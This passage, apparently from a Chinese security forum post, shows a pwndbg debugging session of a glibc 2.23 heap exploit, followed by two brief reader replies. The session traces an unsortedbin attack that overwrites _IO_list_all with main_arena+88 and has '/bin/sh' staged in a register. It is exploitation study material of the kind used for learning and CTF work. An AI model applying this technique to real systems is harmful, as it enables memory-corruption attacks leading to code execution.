────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
 ► f 0     7ffff7a8ee3c _int_malloc+684
   f 1     7ffff7a911d4 malloc+84
   f 2           4006cc main+246
   f 3     7ffff7a2d840 __libc_start_main+240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p _IO_list_all  # unsortedbin attack攻击成功,_IO_list_all的值变成了main_arena+88
$31 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
 
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc:/home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
 
pwndbg> p _IO_list_all
$29 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p &_IO_list_all  # 打印_IO_list_all地址
$30 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> wa *0x7ffff7dd2520  # 在_IO_list_all设置硬件断点
Hardware watchpoint 2: *0x7ffff7dd2520
pwndbg> c
Continuing.
 
Hardware watchpoint 2: *0x7ffff7dd2520
 
Old value = -136501952
New value = -136504456  # main_arena+88
_int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=10) at malloc.c:3527
warning: Source file is more recent than executable.
3527              if (size == nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*RAX  0x7fffffffdbdf ◂— 0x0
*RBX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
*RCX  0x7c
*RDX  0x7ffff7dd1b28 (main_arena+8) ◂— 0x0
*RDI  0x7fffffffdbe0 ◂— 0x0
*RSI  0x60
 R8   0x623000 ◂— 0x0
 R9   0x0
 R10  0x46c
 R11  0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov    rax, rdi
*R12  0x2710
*R13  0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0
*R14  0x602400 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R15  0x7ffff7dd2510 ◂— 0x0
*RBP  0x20
*RSP  0x7fffffffdb60 ◂— 0x7fff00000002
*RIP  0x7ffff7a8ee3c (_int_malloc+684) ◂— je     0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
 0x7ffff7a8ee3c <_int_malloc+684>    je     _int_malloc+1880 <_int_malloc+1880>
 
   0x7ffff7a8ee42 <_int_malloc+690>    cmp    rsi, 0x3ff
   0x7ffff7a8ee49 <_int_malloc+697>    jbe    _int_malloc+536 <_int_malloc+536>
    
   0x7ffff7a8eda8 <_int_malloc+536>    mov    ecx, esi
   0x7ffff7a8edaa <_int_malloc+538>    shr    ecx, 4
   0x7ffff7a8edad <_int_malloc+541>    lea    eax, [rcx + rcx - 2]
   0x7ffff7a8edb1 <_int_malloc+545>    cdqe  
   0x7ffff7a8edb3 <_int_malloc+547>    lea    rax, [rbx + rax*8 + 0x60]
   0x7ffff7a8edb8 <_int_malloc+552>    mov    rdi, qword ptr [rax + 8]

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-10-3 00:29 被ztree编辑 ,原因:
收藏
免费 4
支持
分享
最新回复 (2)
雪    币: 4432
活跃值: (6661)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习源码 的好东东,谢谢
2022-10-3 14:14
0
雪    币: 8511
活跃值: (6613)
能力值: ( LV12,RANK:449 )
在线值:
发帖
回帖
粉丝
3
好猛,收藏一下
2022-10-4 08:50
0
游客
登录 | 注册 方可回帖
返回
//